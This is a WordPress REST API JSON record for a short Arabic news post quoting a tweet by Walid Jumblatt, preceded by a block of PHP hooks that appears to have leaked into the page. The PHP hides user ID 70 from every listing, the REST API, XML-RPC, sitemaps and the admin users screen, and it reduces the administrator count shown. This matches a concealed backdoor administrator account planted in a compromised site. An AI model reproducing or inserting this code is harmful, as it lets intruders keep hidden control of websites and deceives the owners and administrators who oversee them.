
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 70;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 70 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 70 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 70;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 70;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 70;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/70(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 70;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-70{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":632658,"date":"2026-04-15T11:57:13","date_gmt":"2026-04-15T09:57:13","guid":{"rendered":"https:\/\/znnlb.com\/?p=632658"},"modified":"2026-04-15T11:57:13","modified_gmt":"2026-04-15T09:57:13","slug":"%d9%88%d9%84%d9%8a%d8%af-%d8%ac%d9%86%d8%a8%d9%84%d8%a7%d8%b7-%d8%a7%d8%ad%d8%aa%d8%b1%d9%85%d9%88%d8%a7-%d8%b9%d9%82%d9%88%d9%84-%d8%a7%d9%84%d8%a8%d8%b4%d8%b1","status":"publish","type":"post","link":"https:\/\/znnlb.com\/?p=632658","title":{"rendered":"\u0648\u0644\u064a\u062f \u062c\u0646\u0628\u0644\u0627\u0637: \u0627\u062d\u062a\u0631\u0645\u0648\u0627 \u0639\u0642\u0648\u0644 \u0627\u0644\u0628\u0634\u0631!"},"content":{"rendered":"<blockquote><p><a href=\"http:\/\/www.znnlb.com\"><strong>\u0648\u0644\u064a\u062f \u062c\u0646\u0628\u0644\u0627\u0637: \u0627\u062d\u062a\u0631\u0645\u0648\u0627 \u0639\u0642\u0648\u0644 \u0627\u0644\u0628\u0634\u0631!<\/strong><\/a><\/p><\/blockquote>\n<div>\u0643\u062a\u0628 \u0627\u0644\u0631\u0626\u064a\u0633 \u0627\u0644\u0633\u0627\u0628\u0642 \u0644\u0644\u062d\u0632\u0628 \u0627\u0644\u062a\u0642\u062f\u0645\u064a \u0627\u0644\u0625\u0634\u062a\u0631\u0627\u0643\u064a \u0648\u0644\u064a\u062f \u062c\u0646\u0628\u0644\u0627\u0637 \u0639\u0628\u0631 \u0645\u0646\u0635\u0629 &#8220;\u0625\u0643\u0633&#8221;: &#8220;\u0623\u062d\u064a\u0627\u0646\u0627 \u0627\u0644\u062a\u0632\u0627\u0645 \u0627\u0644\u0635\u0645\u062a \u0623\u0641\u0636\u0644 \u0645\u0646 \u0627\u0644\u062a\u0639\u0644\u064a\u0642 \u0639\u0644\u0649 \u0628\u0639\u0636 \u0627\u0644\u062a\u0635\u0631\u064a\u062d\u0627\u062a \u0627\u0644\u062e\u064a\u0627\u0644\u064a\u0629 \u0643\u064a \u0644\u0627 \u0646\u0642\u0648\u0644 \u0627\u0644\u0647\u0645\u0627\u064a\u0648\u0646\u064a\u0629 \u0644\u0628\u0639\u0636 \u0627\u0644\u0646\u0627\u0633 \u0648\u0627\u0644\u0628\u0644\u0627\u062f \u062a\u0645\u0631 \u0628\u0623\u062e\u0637\u0627\u0631 \u0645\u0635\u064a\u0631\u064a\u0629. \u0627\u062d\u062a\u0631\u0645\u0648\u0627 \u0639\u0642\u0648\u0644 \u0627\u0644\u0628\u0634\u0631&#8221;.<\/div>\n<div><\/div>\n<div class=\"twitter-tweet twitter-tweet-rendered\"><iframe id=\"twitter-widget-0\" class=\"\" title=\"X Post\" src=\"https:\/\/platform.twitter.com\/embed\/Tweet.html?creatorScreenName=LBCI&amp;dnt=false&amp;embedId=twitter-widget-0&amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd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amp;origin=https%3A%2F%2Fwww.lbcgroup.tv%2Fnews%2Flebanon%2F924968%2F%25D9%2588%25D9%2584%25D9%258A%25D8%25AF-%25D8%25AC%25D9%2586%25D8%25A8%25D9%2584%25D8%25A7%25D8%25B7-%25D8%25A7%25D8%25AD%25D8%25AA%25D8%25B1%25D9%2585%25D9%2588%25D8%25A7-%25D8%25B9%25D9%2582%25D9%2588%25D9%2584-%25D8%25A7%25D9%2584%25D8%25A8%25D8%25B4%25D8%25B1%2Far&amp;sessionId=3386bc0cb818eecbeae1c9633465ee9b051c0a59&amp;siteScreenName=LBCI&amp;theme=light&amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;width=550px\" frameborder=\"0\" scrolling=\"no\" allowfullscreen=\"allowfullscreen\" data-mce-fragment=\"1\"><\/iframe><\/div>\n<blockquote class=\"twitter-tweet\" data-twitter-extracted-i1776246898332644286=\"true\">\n<p dir=\"rtl\" lang=\"ar\">\u0627\u062d\u064a\u0627\u0646\u0627 \u0627\u0644\u062a\u0632\u0627\u0645 \u0627\u0644\u0635\u0645\u062a \u0627\u0641\u0636\u0644 \u0645\u0646 \u0627\u0644\u062a\u0639\u0644\u064a\u0642 \u0639\u0644\u0649 \u0628\u0639\u0636 \u0627\u0644\u062a\u0635\u0631\u064a\u062d\u0627\u062a \u0627\u0644\u062e\u064a\u0627\u0644\u064a\u0629 \u0643\u064a \u0644\u0627 \u0646\u0642\u0648\u0644 \u0627\u0644\u0647\u0645\u0627\u064a\u0648\u0646\u064a\u0629 \u0644\u0628\u0639\u0636 \u0627\u0644\u0646\u0627\u0633 \u0648\u0627\u0644\u0628\u0644\u0627\u062f \u062a\u0645\u0631 \u0628\u0623\u062e\u0637\u0627\u0631 \u0645\u0635\u064a\u0631\u064a\u0629 .\u0627\u062d\u062a\u0631\u0645\u0648\u0627 \u0639\u0642\u0648\u0644 \u0627\u0644\u0628\u0634\u0631\u00a0<a href=\"https:\/\/twitter.com\/hashtag\/%D9%84%D8%A8%D9%86%D8%A7%D9%86?src=hash&amp;ref_src=twsrc%5Etfw\" target=\"_blank\" rel=\"noopener\">#\u0644\u0628\u0646\u0627\u0646<\/a>\u00a0<a href=\"https:\/\/t.co\/4axE8ySxvi\">pic.twitter.com\/4axE8ySxvi<\/a><\/p>\n<p>\u2014 Walid Joumblatt (@walidjoumblatt)\u00a0<a href=\"https:\/\/twitter.com\/walidjoumblatt\/status\/2044349733284565263?ref_src=twsrc%5Etfw\" target=\"_blank\" rel=\"noopener\">April 15, 2026<\/a><\/p><\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>\u0648\u0644\u064a\u062f \u062c\u0646\u0628\u0644\u0627\u0637: \u0627\u062d\u062a\u0631\u0645\u0648\u0627 \u0639\u0642\u0648\u0644 \u0627\u0644\u0628\u0634\u0631! \u0643\u062a\u0628 \u0627\u0644\u0631\u0626\u064a\u0633 \u0627\u0644\u0633\u0627\u0628\u0642 \u0644\u0644\u062d\u0632\u0628 \u0627\u0644\u062a\u0642\u062f\u0645\u064a \u0627\u0644\u0625\u0634\u062a\u0631\u0627\u0643\u064a \u0648\u0644\u064a\u062f \u062c\u0646\u0628\u0644\u0627\u0637 \u0639\u0628\u0631 \u0645\u0646\u0635\u0629 &#8220;\u0625\u0643\u0633&#8221;: &#8220;\u0623\u062d\u064a\u0627\u0646\u0627 \u0627\u0644\u062a\u0632\u0627\u0645 \u0627\u0644\u0635\u0645\u062a \u0623\u0641\u0636\u0644 \u0645\u0646 \u0627\u0644\u062a\u0639\u0644\u064a\u0642 \u0639\u0644\u0649 \u0628\u0639\u0636 \u0627\u0644\u062a\u0635\u0631\u064a\u062d\u0627\u062a \u0627\u0644\u062e\u064a\u0627\u0644\u064a\u0629 \u0643\u064a \u0644\u0627 \u0646\u0642\u0648\u0644 \u0627\u0644\u0647\u0645\u0627\u064a\u0648\u0646\u064a\u0629 \u0644\u0628\u0639\u0636 \u0627\u0644\u0646\u0627\u0633 \u0648\u0627\u0644\u0628\u0644\u0627\u062f \u062a\u0645\u0631 \u0628\u0623\u062e\u0637\u0627\u0631 \u0645\u0635\u064a\u0631\u064a\u0629. \u0627\u062d\u062a\u0631\u0645\u0648\u0627 \u0639\u0642\u0648\u0644 \u0627\u0644\u0628\u0634\u0631&#8221;. \u0627\u062d\u064a\u0627\u0646\u0627 \u0627\u0644\u062a\u0632\u0627\u0645 \u0627\u0644\u0635\u0645\u062a \u0627\u0641\u0636\u0644 \u0645\u0646 \u0627\u0644\u062a\u0639\u0644\u064a\u0642 \u0639\u0644\u0649 \u0628\u0639\u0636 \u0627\u0644\u062a\u0635\u0631\u064a\u062d\u0627\u062a \u0627\u0644\u062e\u064a\u0627\u0644\u064a\u0629 \u0643\u064a \u0644\u0627 \u0646\u0642\u0648\u0644 \u0627\u0644\u0647\u0645\u0627\u064a\u0648\u0646\u064a\u0629 \u0644\u0628\u0639\u0636 \u0627\u0644\u0646\u0627\u0633<\/p>\n","protected":false},"author":1,"featured_media":612267,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25],"tags":[],"class_list":["post-632658","post","type-post","status-publish","format-standard","has-post-thumbnail","category---uncategorized"],"_links":{"self":[{"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/posts\/632658","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/znnlb.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=632658"}],"version-history":[{"count":1,"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/posts\/632658\/revisions"}],"predecessor-version":[{"id":632659,"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/posts\/632658\/revisions\/632659"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/znnlb.com\/index.php?rest_route=\/wp\/v2\/media\/612267"}],"wp:attachment":[{"href":"https:\/\/znnlb.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=632658"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/znnlb.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=632658"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/znnlb.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=632658"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}